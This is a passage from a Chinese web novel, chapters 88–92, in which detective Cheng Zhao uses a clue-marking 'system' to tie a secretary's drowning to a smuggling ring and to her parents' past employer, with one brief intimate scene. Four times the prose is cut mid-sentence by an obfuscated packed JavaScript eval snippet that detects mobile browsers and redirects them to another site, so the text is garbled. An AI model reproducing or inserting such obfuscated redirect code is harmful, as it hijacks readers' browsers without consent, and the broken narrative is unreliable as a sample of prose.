…… 程昭跑进了杂物房，打开了系统，一边查看信息关联表，一边慢慢地整理杂物。 之前系统没触发事件，程昭不能作弊。 现在孟飞死亡，系统显示了新事件，蓝色记事本和案件有关，说不定程昭父母的遗物里面还有其他的线索。 程昭翻箱倒柜，找到了一个印刷了百通贸易公司logo的纸皮箱。程露之前提过，这个箱子都是程父程母的公司杂物，是他们的同事帮忙收拾带过来的。 箱子里面放着一堆零零碎碎的杂物，工衣外套、钥匙扣、充电线、耳机、键鼠、小风扇、公司旅行的纪念照、用过的记事本便利贴…… 【系统标记了“公司旅行的纪念照”，不过关联性比较低。】 那几张纪念照是程父程母出事的几个月前，公司团建旅游的时候拍下的。 程昭拿起照片仔细查看，照片里面除了程父程母，还有三个同事。 【系统标注了“照片左一戴眼镜的女生”】。 程昭不认识这个人，先默默记下这个线索。 …… 忙完一通，家里收拾了大半，但是太多东西要洗了，只能分几天整理。 程昭和周立言在楼下的小吃店买了宵夜，打包带走，回到小别墅。 两人美滋滋地吃了一顿烧烤。或者应该说，程昭美滋滋地吃烧烤，周立言陪她吃了一点，然后笑着看她吃。 “我最近研究了一个烤肉的新方子，可以降低肉膻味，下次我做给你试试。”其实这家小吃店的烧烤挺好吃的，火候刚刚好，酱汁醇厚，生意不错，只是周立言的嘴比较挑食，不喜欢的宁愿丢掉也不吃。 “好啊，你做的我都喜欢。”周立言感觉自己的挑食毛病，在程昭这里会变得很轻，而且她总是很贴心地照顾他的口味，给他留了足够的选择。 周立言的声音忽然变得有点低哑，嘴角带着不怀好意的笑容，“……不过，今晚不能没有我的宵夜。” 他的话，加上他的表情，程昭再迟钝也知道他意有所指了。 程昭忍不住戳了几下他的胸口，“哼，你这家伙，人前人后两副样子……” 周立言捉住她的手，放在嘴边，轻轻落下一个吻，抬眸看向她，“……你不喜欢？” “……哼，”程昭忍不住笑了，“喜欢的。” 两人闹了一会，周立言看女朋友已经吃饱了，然后直接抱起她，“轮到我开餐了。” “哎，还没有洗澡……” “一起？” 她有点害羞，但是不等她拒绝，他的吻就铺天盖地地落了下来。 等她意识回笼，两人已经在水中，某人开始了今天的正餐。 浴缸的水不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596742|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地补充，然后又溢出。水花荡漾，雾汽蒸腾。她感觉她的灵魂也飘飘荡荡的，被蒸腾到虚空之中了。 这次洗澡洗了好长时间，程昭却感觉自己要脱水了。 周立言不敢闹太久，虽然现在天气已经比较热了，但是泡水太久，着凉就不好了。 她已经没有力气了，他很乐意代劳，很迅速地重新冲洗了一遍，裹上浴袍，出去吹干头发。 第二天还要工作，周立言也没有再胡闹，两人干净清爽地回到床上，相拥而眠，沉沉睡去。 …… 第二天，大家继续查死者的背景。 孟飞的简历上面说，他在外国名牌大学毕业，上一家公司在A国。但是他们却查到，他是国内一个野鸡大学的专科肄业生。而且，没有查到他有长期在国外留学或者工作的记录。 这些光鲜的履历，应该都是造假来的。周氏做背景调查的时候，没有发现不妥。那个推荐他入职的员工，已经出国了。 孟飞的来历有问题，周氏的嫌疑变低了一些。 …… 几个人去了死者家里。 死者家的门被撬开了，里面好像被洗劫过，抽屉柜门都被打开了，东西翻得到处都是。 程昭他们叫了鉴证科的人过来，帮忙取证。 因为死者是独居，没有亲密的朋友，所以程昭他们不确定有什么东西不见了，只能硬着头皮，去寻找新的发现。 一通忙活之后，现场发现了几组指纹和一些毛发，鉴证科带回去慢慢检测。 程昭在一堆杂物里面，发现了印着百通贸易logo的月历，还在几张照片里面发现了之前被系统标记的女生。 照片里面的女生，有时候没看镜头，好像是偷偷抓拍的；有时候看着镜头微笑比耶。程昭看着照片，感觉拍照片的人可能在暗恋这个女生。 百通贸易和这个戴眼镜女生，是程父程母和孟飞的关联点。程昭把这些关联指了出来。 有了这些联系作为参考，周立言他们很快找到了孟飞的过往。他两年前曾经在百通贸易工作过三年，和照片里的女生、程父程母是同事关系。之前没有查到这段经历，是因为他使用了假学历、假身份入职。 照片里面的女生名叫方雪，A市人，在程父程母出事去世两个月后，出车祸死了。 方雪去世之后没多久，孟飞离开了百通贸易，凭借内部推荐和简历造假，跳槽到了大企业，进了总裁办公室做秘书。 程昭他们还查到，孟飞的账户里面有来历不明的转账收入，转账方是一个皮包公司。这个皮包公司也曾经出现过，在之前的案件名单里面。 线索一条条地串连起来，真相隐隐指向KL组织。 “居然又是这个组织。”孙泽林十分讶异。 程昭：“说不定，这个案件背后，和那个组织的走私网络有关。” 程昭在心里通过“推测+系统验证”的方法，确认这个关联。 孟飞做过的两家公司都和运输、船运有关系，再加上不明转账的皮包公司，这个推测很合情合理。 89. 调查 大家也觉得程昭的推测可能性很高。 现在警方正好在调查拐卖组织的事，查到运输、走私网络也是迟早的问题。有心人肯定已经听到风声，心虚之下想要杀人灭口，十分正常。 但是他们手上还没有实质证据，还需要进一步验证。风过留声，雁过留痕，孟飞如果真的参与过走私的活动，查百通贸易和周氏，应该可以有所发现。 周氏的体量比较大，孟飞作为总裁办公室的秘书，有权限接触很多业务和订单。他们只有几个人，人手不足不好查，而且周立言需要避嫌，所以他们干脆先从简单的入手——先查百通贸易。 除了查这个公司，他们顺便也查一下方雪和程家夫妇的案件。虽然三个人里面，两个是出差意外死亡，一个是车祸事故死亡，但是发生的时间很近，背后不知道会不会另有隐情。 而且他们死了之后，孟飞就以光鲜的简历进入大公司，这让人不得不怀疑孟飞是不是做了什么，得到了好处。 四个人分成两组，分头行动。 侯远山、孙泽林先去调取方雪、程家夫妇死亡相关的记录。 程昭、周立言去调查百通贸易。 …… 出发之前，程昭想到了一个人，程父的旧同事王冬梅。 系统没有标记王阿姨，她和组织的事无关，但是她在百通贸易工作过一段时间，了解里面很多人和业务，是一个很好的切入口。程昭他们先找她了解一下这个公司和里面的人，这样也可以减少打草惊蛇的可能。 程昭把这个想法和周立言说了，周立言也觉得可行，于是两人决定先去找王阿姨了解情况。 出发前，她先打了个电话给王阿姨，确定她是否在家。 电话响了很久才接通，对面讲电话的是一个陌生女性的声音：“喂，你好，找哪位？” 程昭看了一下自己拨打的电话，确认没有拨打错误，然后和对面说：“你好，我想找王冬梅阿姨。” 电话对面的人：“好的，你稍等……” 一阵模糊的说话声和脚步声，然后王阿姨的声音从电话传来了过来，声音有点虚弱，不像平时那么精神。 程昭感觉到了异常，连忙追问。然后才知道，王阿姨前几天上楼梯被人撞倒了，滚下楼梯，腿骨受伤住院了。那天刚好就是孟飞去偷东西的那天。 【“王阿姨被撞下楼梯”被标注了关联】。 程昭微微一惊，时间地点过于凑巧，难道撞人的是孟飞？ 【系统确定了她的猜测，显示“王阿姨被孟飞撞下楼梯”】。 “……那天摔了几下，我以为我可以走路就没什么事，谁知道摔伤的地方越来越痛，忍了一天实在受不了了，然后我才来医院看病，医生说我骨头裂了，而且还有其他并发症，只好住院了。”王阿姨叹气，“可惜那个人跑了，不然我肯定要他赔偿医药费！” 撞她的那个人已经死了，不过孟飞的账户里面还有很多钱。如果可以证明他令王阿姨受伤，说不定可以给王阿姨争取一点赔偿……程昭便把孟飞那天的监控截图和几个差不多衣着的无关人士的照片一起带上，打算让王阿姨指认看看。 …… 周立言听说王阿姨受伤的事很惊讶，两人直接开车去医院，并且在路上买了一点水果零食当做礼物。 王阿姨和周立言有过一面之缘，见他们两个居然一起来探望自己，有点高兴又有点疑惑。 两边寒暄一番之后进入正题。程昭和王阿姨说明了两人的来意，“我们现在过来打扰你，主要是有一些百通贸易的事情想要问问你。还有想让你辨认一下，看看能不能认出那天撞你的人。” 王阿姨有点懵，不过她点了点头。 程昭先拿出准备好的照片，让王阿姨指认撞她的人。 王阿姨很快就指出了孟飞乔装打扮的那张，气愤地说：“就是他！我当时上楼梯，抬头看了他一眼……无端端地撞我，我不会认错人的。” 程昭和周立言相视一眼，周立言挑眉，然后拿出了孟飞日常的照片，“你认识这个人吗？” 王阿姨皱眉看了一会照片，“这不是孟飞吗？他怎么了？” “你们认识？”程昭睁大眼睛，忍不住提高了声调，指着孟飞包裹得严严实实的照片，“这个人就是孟飞……可以和我们再详细说说当时的情景吗？你和孟飞熟悉吗？” 王阿姨皱眉，回忆了一下，“我和他其实不算很熟，我和他不是同一个部门的。我对他有印象，也是因为上次在商场偶然遇到了。 “他和以前的样子变化很大，衣着光鲜，看起来是发了财。当时他和我打了招呼……就是我遇到你和周警官那天，遇到他不久，我就遇到你们了。” 程昭和周立言对视一眼。她想起来了，那天周青海确实带着孟飞，孟飞还提早走开了。如果孟飞回来找周青海，刚好看到她和王阿姨说话，他害怕自己的过往被泄露，有可能会来调查她，然后发现她是程家夫妇的子女。 王阿姨继续说：“至于前几天的事……我当时从一个楼下几层的邻居家里离开，电梯太难等了，我就去爬楼梯，反正就几层楼……当时我听到有人从楼上下来，就抬头看了两眼。 “”那人戴着鸭舌帽和口罩，手上还带着手套，都夏天了，哪个好人会这样打扮的？我就多看了一眼。没想到，他下来的时候突然用力撞了我。然后我就滚下了半层楼的台阶，把我骨头都摔裂了！” 王阿姨越说越气愤，忍不住拍了几下病床，“这是孟飞吗？我和他无冤无仇的，他怎么这么坏！我要报警，我要告他！” 程昭叹气：“你告他没有用。他死了。” “啊？不会吧？”王阿姨很震惊，看看程昭又看看周立言的表情，想看出他们是不是在开玩笑。 程昭大概地讲了一下孟飞出现在她们小区的原因，还有发现孟飞死亡的经过。然后，程昭向王阿姨询问，程父程母、方雪、孟飞和百通贸易的事。 王阿姨回忆，她和程江（程父）是多年同事，李筝（程母）是后来进入百通贸易的，她们几个都是一个部门的。她不认识方雪，方雪入职的时候她已经离开公司了。孟飞和她不同部门，但是他们部门直接合作比较紧密，所以还算认识。孟飞他们部门主要负责联系船运和仓库，接收货品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617068|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王阿姨的部门主要是做招商找合作的，平时偶尔需要出差。她没感觉公司有什么不对劲，非要说一个的话，就是公司的订单一直比较稳定。市道不好的时候，百通贸易依然有不少的单子。 …… 王阿姨那边打听的消息有限，程昭他们只好继续自己查。 时过境迁，两年时间足以让一个公司换了一批员工。这家公司里面只有几个老员工记得两年前的事。 据老员工的回忆，孟飞一开始不太受重用，在部门当打杂的跑腿小工，后来抱上了部门主管的大腿，然后才拿到重要的订单，然后很快升职加薪。 孟飞的部门主管名叫谢李金，方雪也在他部门下。谢李金在一年前离职了，自己开了一家公司，也是和贸易、运输相关的行业。 方雪是名牌大学的学生，在他们公司做了几个月的实习生。因为长得漂亮，工作能力强，家境又好，方雪很受欢迎，孟飞曾经追求过她，不过她都没有回应过谁的好意。 程家夫妇是出差途中意外坠海的。他们出事前后，公司曾经闹过盗窃案，不过是公司内部自己查的，没有报警，最后好像没有查出是谁偷了东西。 方雪是暴雨天过马路的时候，被大货车撞倒的。据说肇事司机逃逸了，路人发现方雪的时候，她已经没气了。 …… 百通贸易最近的单子都没问题，但是两年以前的不太好说。因为当时的负责人都离开公司了，交接工作没有做好，很多历史订单都不见了。 程昭他们几个人只好找当时和百通贸易合作的公司，一个个地去核实。 经过二十几天的努力，他们终于找到了百通贸易两年前的几个可疑的运单，这些运单的负责人，是孟飞和谢李金。 【“谢李金”、“谢李金的公司”被标注关联。 “KL组织事件集”里面还新增了几个事件，“方雪死亡事件”、“走私网络”。 “方雪死亡事件”里面显示，孟飞、谢李金是凶手，但是线索暂时太少，还不能确定动机。“蓝色笔记本”也显示在这个事件的关联列表里面，关联排序很靠前。 “走私网络”里面显示，谢李金、孟飞都是走私团伙的人。他们负责过的有问题的订单、长期合作的货船、仓库，都被标记了关联。】 程昭父母的死没有被标注，所以他们可能真的是死于意外。 程昭的注意力落在了“蓝色笔记本”上面，这个笔记本在孟飞、方雪死亡事件里面都出现了。再结合百通贸易老员工的回忆，程家夫妇出意外的那段时间，公司被偷过东西，还内部查小偷…… 会不会丢失的东西，就是这个蓝色笔记本？ 程露说这个本子里面写了一些货物、金额、时间之类的记录，难道这是走私的账册？ 这个本子后来到了程家手里，会不会是有人假借整理程家夫妇的遗物的名义，把账册偷偷夹带在里面？ 本子如果是孟飞放的，那他应该早就找机会过来，拿走本子了。这个笔记本放在程家两年都没有被拿走，放本子的人很可能是，没多久就去世的方雪。 系统一一确定了程昭的猜测。 90. 飞鱼号 程昭在心里按现有的信息，梳理了一下事情经过： 方雪在谢李金手下实习，发现了他们的一些订单有猫腻，偷偷拿到了账册数据。 谢李金等人发现公司内部有人在暗中调查他们，于是谎称有小偷。 方雪把账册藏到程家夫妇的物品里面，带出了公司，拿给了程家姐妹。 方雪后来还是暴露了自己，谢李金和孟飞制造车祸杀死了她。 账册的秘密随着方雪的死亡，尘封了两年，直至孟飞遇到王阿姨和程昭。 孟飞可能暗中调查过程昭，知道程昭等人参与过拐卖组织的调查，又联想到账册可能在程家，于是找机会复制了钥匙，潜入程昭家里放窃听器和找账册。 孟飞拿到账册，离开的时候顺手袭击了王阿姨。 孟飞被警察查到的时候，他收到通知逃跑了，然后被人击中后脑勺，丢入江河里面淹死了（法医后来的检测显示，孟飞后脑勺的伤很严重，虽然不是致命伤，但是足以让他重伤昏迷，他的主要死因还是溺亡）。 孟飞的家被不明人士撬门而入，东西被乱翻一通。 在孟飞剩下的物品里面，警方没有找到那个蓝色笔记本。 …… 虽然他们查到了几个百通贸易的可疑订单，确定经手人有谢李金和孟飞。但是因为时间已经过了几年，很多信息都有缺失，不能直接当做证据来逮捕谢李金。 他们还需要继续找证据。 术业有专攻，经济案不是周立言他们擅长的范围。 而且他们只有几个人（乔良、陈丰后来也过来帮忙了），人手不足以彻查百通贸易、谢李金公司、周氏这么多个公司的所有运输订单。 这些公司业务广泛，一天可能就有成百上千个运单，单凭他们一队人，根本搞不定。 之前查那些历史订单，程昭他们就遇到了种种麻烦。 账目里面涉及太多计算，他们又不是专业人士，查起来特别费劲。即使程昭有系统可以作弊，对上这些密密麻麻的表格也只能头疼。 造假的人篡改了很多数据，不少正常订单的数据也被一起改了，大大地增加了查证的难度。 另外，订单的相关人士，即使是没问题的人，也不太欢迎他们。那些人恨不得把他们当成皮球踢走，更谈不上配合。 于是，周立言和大家商量了一下，打算把他们的发现报上去，让于山联系专案组调查这几个公司。 孙泽林有点不开心，他们查了这么久的案子，又要送给别人…… 周立言看出了大家的小情绪，劝解道：“专业的事，还是交给专业的人头疼吧。专案组那边有擅长经济案的刑警……还是你们想继续查表算数？” 侯远山、孙泽林、陈丰连忙摇头，程昭和乔良在一边偷笑。 乔良：“我们还是做我们擅长的事吧，经济数学相关的，让专案组的人去做。除了查那些订单，还有很多地方需要查。我们去盯着港口那边，说不定还可以直接找到他们走私的证据。” 众人同意把案件上交，周立言把他们查到的线索都同步给了于山。 …… 于山很惊讶，他们专案组还在查拐卖组织在国内的势力，没想到周立言他们已经摸索到KL组织走私的网络了。 专案组对这些情报十分重视，立刻调了一批对海关贸易比较熟悉的人来调查。 另外，由于周立言、程昭他们屡次破解KL组织的案件，无论是能力还是运气都很让人惊叹，上级领导干脆把他们也拉进了专案组。虽然A市刑事三队这几个人不能跟进所有的相关案件，但是他们进了组，说不定其他人还能沾点他们的运气，快点遇到关键线索。 这个消息，对于程昭他们来说，简直是意外之喜。挂着专案组的名头，他们的权限也变大了，查案更加方便。 案件进度、涉案人士这些案件信息，他们也可以同步获取了，不用再慢慢等于山定期整理。 有了其他人来调查那几个公司、查验历史数据和跟踪现有订单，程昭他们可以空出人手做其他的事情。例如确定那个蓝色笔记本的下落，还有调查孟飞的死亡案。 …… 他们之前推测，孟飞被杀，有可能是因为他被警察盯上，凶手杀人灭口。也有可能是他做了什么事（例如藏起了账册），得罪了凶手，惹来杀身之祸。 码头的摄像头只看到孟飞去了泊船区，但是那片区域很大，很多监控死角，只看监控无法确定孟飞最后去了哪条船。 之前程昭、周立言他们曾经来了港口很多次，四处走访调查，想找到目击者，可惜一无所获。当时程昭查看系统，也没有发现被标记的关联人物和船舶，可能当时相关人士和船舶离港了。 这个港口对船舶的登记不太严格，很多停泊的位置是长期租赁的，不会详细记录这些船的行程。所以程昭没办法用系统作弊，锁定船只。 现在他们再来港口，重新实地调查，希望可以遇到目击者，找到相关线索。 调查的时候，程昭全程打开着系统界面，希望可以及时发现那些和案件相关的蛛丝马迹。这次他们很幸运，程昭还真的遇到了重要的线索。 一艘看起来半新不旧的货船静静地停靠在港口，几个船工正在整理船上的东西，把货物搬到运货推车上。货船船身印着船的编号和船名，这条船叫“飞鱼号”。 【在“秘书死亡事件”、“走私网络”里面，系统都标记了这艘船。这个线索在孟飞死亡事件里面，排序很靠前】。 程昭翻了一下之前的调查笔记，这艘船没有任何相关记录。应该是他们之前调查的时候，这艘船都不在港口。 程昭提示了一下其他人。其他人也来了兴趣，他们前前后后来过这么多次，居然还有漏网之鱼。 一行人带着一个码头的管理员，找到了“飞鱼号”的负责人汪宝金。 汪宝金人如其名，看起来十分喜欢黄金，脖子挂着一条大金链，手上带着金戒指金表，嘴里还镶了一只金牙。 【“汪宝金”被标注了关联，而且他的名字还出现在孟飞死亡事件的凶手一栏。但是他的关联排序不是最高的，程昭推测他是帮凶，系统肯定了她的推测】。 汪宝金一开始看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649223|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到码头管理员，还一脸笑嘻嘻地上前递烟，一听说有警察来了，立刻变了脸色。 汪宝金扫视了几个警察一圈，都是生面孔，好几个年轻人，估计又是新调来的…… 汪宝金微微抬起下巴，皮笑肉不笑地说：“我们这些做小本买卖的，又没有犯法……事先告诉你们，我们这艘船和周氏船运有合作的，不要随随便便就跑来敲竹杠。” 管理员连忙解释，“不是那些事……之前不是有个钓鱼的钓到死人吗？警察还在调查那件事。你们的船那段时间好像也在港口，这些警察同志想了解一下当时有什么船在码头，想看看有没有谁看到过死者。” 汪宝金听到他们查的是大半个月前的事，眉头一松，然后又皱了起来。他双手抱胸，满不在乎地说：“那件事还没有查清楚吗？应该就是那个人倒霉，掉进江里，不小心淹死了呗。有什么好查的……” “人命关天，案件有点问题，我们总要查个水落石出的。”程昭抬头看了看飞鱼号，率先向前走了一步，“我们可以上船看看吗？” “哎，你们不可以上去……”汪宝金有点着急，张开双臂，想拦住他们。 周立言上前拨开他的手，握住他的手腕，看着他的眼睛，“怎么，是有什么秘密不能让我们看吗？” 汪宝金微微冷静下来，连忙赔笑，东拉西扯，“怎么可能，我们都是合法经营。我们这艘船和周氏船运有合作的，你们知道哪个周氏吧，大公司，我们都是合法合规的……不想你们上去，是因为搬运工正在干活，乱糟糟的，怕撞到你们。” 周立言的目光冷冷地扫过汪宝金，松开他的手，“我们自然会注意看路的。” 汪宝金想了想，把路让了出来，让他们上船查看。事件都这么久了，他的船都清理过好几遍了，他不信这班人可以看出什么不对劲…… 众人登上船，分散四处打量。 之前侯远山他们也抽了几艘船，上船查看了一番，所以没有觉得程昭这样做有什么不对。相反的，他们也感觉汪宝金的态度有点奇怪。 一开始汪宝金以为他们是来要好处的警察，想用周氏的名头吓跑他们。后来听说他们是调查命案的，态度没有了之前的有恃无恐。虽然汪宝金好像对浮尸案件漠不关心，但是他下意识地双手抱胸前，这是典型的防御性动作。 之前他们调查，遇到的船主有的积极配合，有点消极抗拒，但是他们都对江上浮尸的案件表现出一定程度的关心……毕竟他们都是水上讨生活的人。汪宝金这样表现的，反而好像有点心虚了。 这艘货船不算太大，设有两层甲板，每层四个货舱，几个船员睡觉的房间，还有动力室等基本的功能设施。 众人漫无目的地看了一圈，没有什么发现。 程昭一边四处查看，一边留意系统的提示。系统迟迟没有显示新的线索，她心里也有点急了，他们手上没有什么证据指向这艘船或者汪宝金，万一这次让他逃过了就麻烦了。 周立言陪着程昭一起四处查看，他还特意留意了船上的货物——他发现警察查看货物的时候，这个船主就有点紧张。 91. 走私犯 周立言悄悄提示程昭，船主看到警察靠近他的货物，就会有点紧张。 程昭检查货物的时候，也特意留意了汪宝金的神情。虽然他极力隐瞒，但是他的表情和肢体语言都出卖了他。 货物有问题？难道这批东西里面夹带了走私的货物？ 程昭查看了一下这艘船的申报订单，里面大多数货品都是生活杂货，主要是陶瓷餐具、陶瓷摆件、玻璃杯等易碎品。单看货物箱子标签，好像没有什么问题。箱子都封了口，看不到里面的内容物。 程昭：“我们要不要拆开看看？可以拆开吗？” 周立言也正有此意，直接选了一个最近的箱子，准备撬开木箱。 汪金宝连忙上前制止，乔良、陈丰拦住了他。 “你们做什么？怎么可以随便拆开人家的箱子！” “我们只是抽查，拆开外面的箱子看看，又不会损坏你的东西。你这么慌张，难道心里有鬼？” “怎么可能呢……只是我们合作方对包装有要求……” …… 程昭抬头看了看船上的人，除了船主和两个船员密切留意警察的一举一动，其他的船员三三两两凑在一起，躲到一边偷懒。 【船主和那两个船员都被系统标记了】。 程昭靠近周立言，小声说了自己对船主和那两个船员的怀疑。 周立言点了点头，挥手叫来侯远山，悄声交待了几句。侯远山微微点头，然后走开了。 …… 周立言继续开箱子，箱子打开了，大家凑了过来查看。 这个箱子里面都是一些陶瓷制品和减震的缓冲卡垫，周围还塞了不少干草之类的填充物。 好像确实是没有什么不对劲，大家你看看我我看看你。 汪金宝见状，得意地笑了，“看吧，里面没有什么不对吧？我只是帮人运货的，这些货物和你们案子又没有关系，真搞不懂你们为什么要查我的货。” 程昭没理他的叫嚣，继续仔细查看里面的东西，还伸手拿起了几件货品端详。 这些陶瓷制品来自国外，但是看起来好像挺普通的，做工算不上精美，值得大老远地运过来售卖？难道是下面的比较值钱？ 反正都打开了，程昭干脆多拿几件出来查看。上面两层挪开之后，程昭看到，系统显示了新的内容。 【“减震的卡垫”标记了关联】。 程昭伸手去拿箱子深处的减震卡垫，发现有一些摸起来的手感有点奇怪。她想拿出来看看，无奈里面的东西叠在一起，卡得太严实了。她只好先把上层的东西都拿出来。 周立言不知道程昭想做什么，看她在搬开上层的陶瓷制品和卡垫，于是也来帮她。 汪金宝的脸色慢慢紧张起来，一只手插进了裤兜，悄悄和旁边的一个船员使了个眼色。 程昭拿出了一个垫子仔细捏了捏，然后递给周立言。 周立言上手捏了一下，也感觉这个手感有点不对。 “这里面是什么？” “我不明白你们在说什么。”汪金宝后退了一步。 周立言他们把手感有异的垫子割开，发现里面塞了不少外国的纸币。 “……走私。”众人惊觉，看向汪金宝和其他船员。 汪金宝一把扯过离他最近的码头管理员，掏出一把枪，“你们知道的太多了，你们为什么要追着我不放！” 不等他手里的枪对准人质的头，他的右肩被击中了。 侯远山不知道什么时候，绕到了汪金宝的身后，及时射出了一枪。 汪金宝疼痛难忍，手都握不住枪，人质趁乱急急忙忙挣脱逃跑了。 另外两个神色有异的船员想拿出武器，但是很快被旁边的乔良、陈丰制止了。 一场打斗还没有怎么开始，就迅速结束了。 其他船员不知道发生了什么事，本来下意识地想去帮船主，但是看到对方手里的枪，又想起对方是警察，立刻放弃抵抗，纷纷举手投降。 船主在货物里面夹带走私，还意图持枪袭警。周立言把这边的情况上报给专案组，专案组负责人迅速派人过来帮忙。 …… 因为担心其他人还有枪，陈丰他们把船上的人都绑了起来，等专案组的人过来接走。 侯远山等人继续打开其他的箱子，查看货物里面还有什么走私的东西。 程昭继续在船上四处查看。飞鱼号涉嫌走私，警方很容易查到他们和走私组织的关系。但是孟飞的事还没有找到线索，程昭需要找出他们的关联点。 她问了几个船员。孟飞在码头失踪的那天，飞鱼号曾经到过港口，不过没多久船又开出去了。那次出航是去维修厂，很多船员都放假上岸了，船主只带了两个人出发。 这个巧合可以当做怀疑的依据，警方可以尝试在审讯的时候和汪金宝套话，但是他们没有找到实质性的证据，汪金宝很可能不会承认。 皇天不负有心人，经过一番苦寻，程昭找到了一样很不显眼的东西——一张已经褪色的热敏纸。这个纸条不知道被谁拿来垫了桌脚，才没有被直接丢掉。纸条上的字已经看不清了。 另外，她在船主房间里面找到了几个藏东西的暗格，在里面发现了大量的现金、金条、假身份护照……还有，孟飞遗失的名表。 这些东西都藏得很隐蔽，程昭也是靠系统标记才找到的。 孟飞的手表，可以直接指证汪金宝和孟飞死亡有关。不过这个褪色的热敏纸是做什么用的？ 程昭把它们都装入证物袋，打算拿回去检测。 实验室那边应该有方法，去恢复显示热敏纸上褪色的内容。 …… 实验室特地给专案组开了快速通道，免去了不少排队的时间。 那张皱巴巴、褪色的热敏纸，经过一番处理，重新显示了原来的内容。这个纸条是一家商场储物柜，用来存包的密码纸。那家商场刚好就在孟飞平时上下班的路上。 暗格找到的手表，也得到了优先检测。这个手表看起来很干净，应该已经被人清洗过，产品序列号也被刮掉了。 实验室的人把手表的表带表盘全部拆开，在里面提取到人的毛发和皮屑，还在表盘内部找到了原来的序列号。 …… 汪金宝和他的两个心腹手下，被分开关押、分开审讯。本来他们想要否认自己和孟飞死亡案件有关，但是汪金宝藏起来的名表被证实属于死者孟飞。 汪金宝感觉十分难以置信，他明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672835|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经清洗过好几遍了，还把手表的序列号刮花了，这样子还能露馅！？ 两个手下则对上司十分无语，他们都没想到汪金宝偷偷留下了死者的贵重物品。他们思量一番，心里十分动摇，他们就是贪图钱财，帮忙走私，手上一直没有沾过人命…… 审讯的刑警见他们已经开始犹豫，继续给他们分析利弊，劝他们招供。 经过警方几番努力，两个手下招认了一切犯罪事实。 关于孟飞死亡案，他们都否认了自己有杀孟飞。 手下A：“那天船长突然给其他船员放假，说我们几个开船去维修厂做日常维护。等船员离开之后，又和我们说，需要接一个人过江……那个人上船之后，我们开船出发，去了我们常去的维修厂，那个人下了船。” “过了几个小时，船长又接到电话，让我们回去维修厂。然后我们又看到了那个人，但是那个人当时已经被打晕了，后脑勺都被开瓢了，不知道是不是还活着。” 手下B：“船长和一个男的把那个小白脸抬了上船，然后命令我们开船……到了江心的时候，我听到了落水的声音，估计是那个小白脸被丢进江里了。我和A都在开船，我们甚至没有和那个人说过话……我们真的没有杀人。” 两人的口供，基本上前后都可以对得上，可信度较高。审讯的警员又拿他们的证词去审问汪金宝，汪金宝见大势已去，只能说出了自己的犯罪经过。 不过汪金宝也只承认自己是帮凶，凶手另有其人。 凶手名叫张茂，是XX维修厂的老板，也是他们走私货物的联系人。汪金宝他们只负责运输，走私货物都是张茂那边提供的，销赃的渠道也是张茂那边联系的，货单也是张茂那边推荐过来的…… 汪金宝把很多罪责都推给了张茂，警方对他的话将信将疑。 专案组迅速派人前往维修厂捉人，但是维修厂可能收到“飞鱼号”出事的风声，早已人去楼空。 …… 程昭他们通过热敏纸的信息，去到商场，找到了商场的负责人。 现在距离孟飞储存物品的日期，差不多过了一个月，那个柜子已经被商场定期清空了。 负责人确定了他们警察的身份，听了他们的描述，然后在堆放过期储物柜物品的地方，找到了孟飞存放的东西——一个封了口的纸箱。 “……我问过了，柜子里面只有这个箱子。箱子没有被人打开过。” 程昭他们谢过商场的工作人员，然后把箱子打开。 箱子里面有一个U盘、一个蓝色笔记本和一本病例。 …… 经过程露确认，这个蓝色笔记本就是杂物房被偷走的那个本子。 本子里面的罗列了有问题的货单的相关信息。程昭他们之前找到的有问题的货单，在这个本子里面都找到了相应的记录。 箱子里的病例是孟飞的。根据里面的记录，他在半年前出了一次小车祸，身体没有怎么受伤，但是激发了一些心理疾病。 他先是出现了幻听，慢慢还出现了幻觉。一个已经死去一年多的女孩子，阴魂不散地缠住他…… U盘里面存放了几段孟飞的录像，画面里面明明只有他一个人，但是他却好像在和其他人在说话。 92. 幻觉 U盘里面的录像好像是用手机前置拍摄的，背景都是孟飞的家。 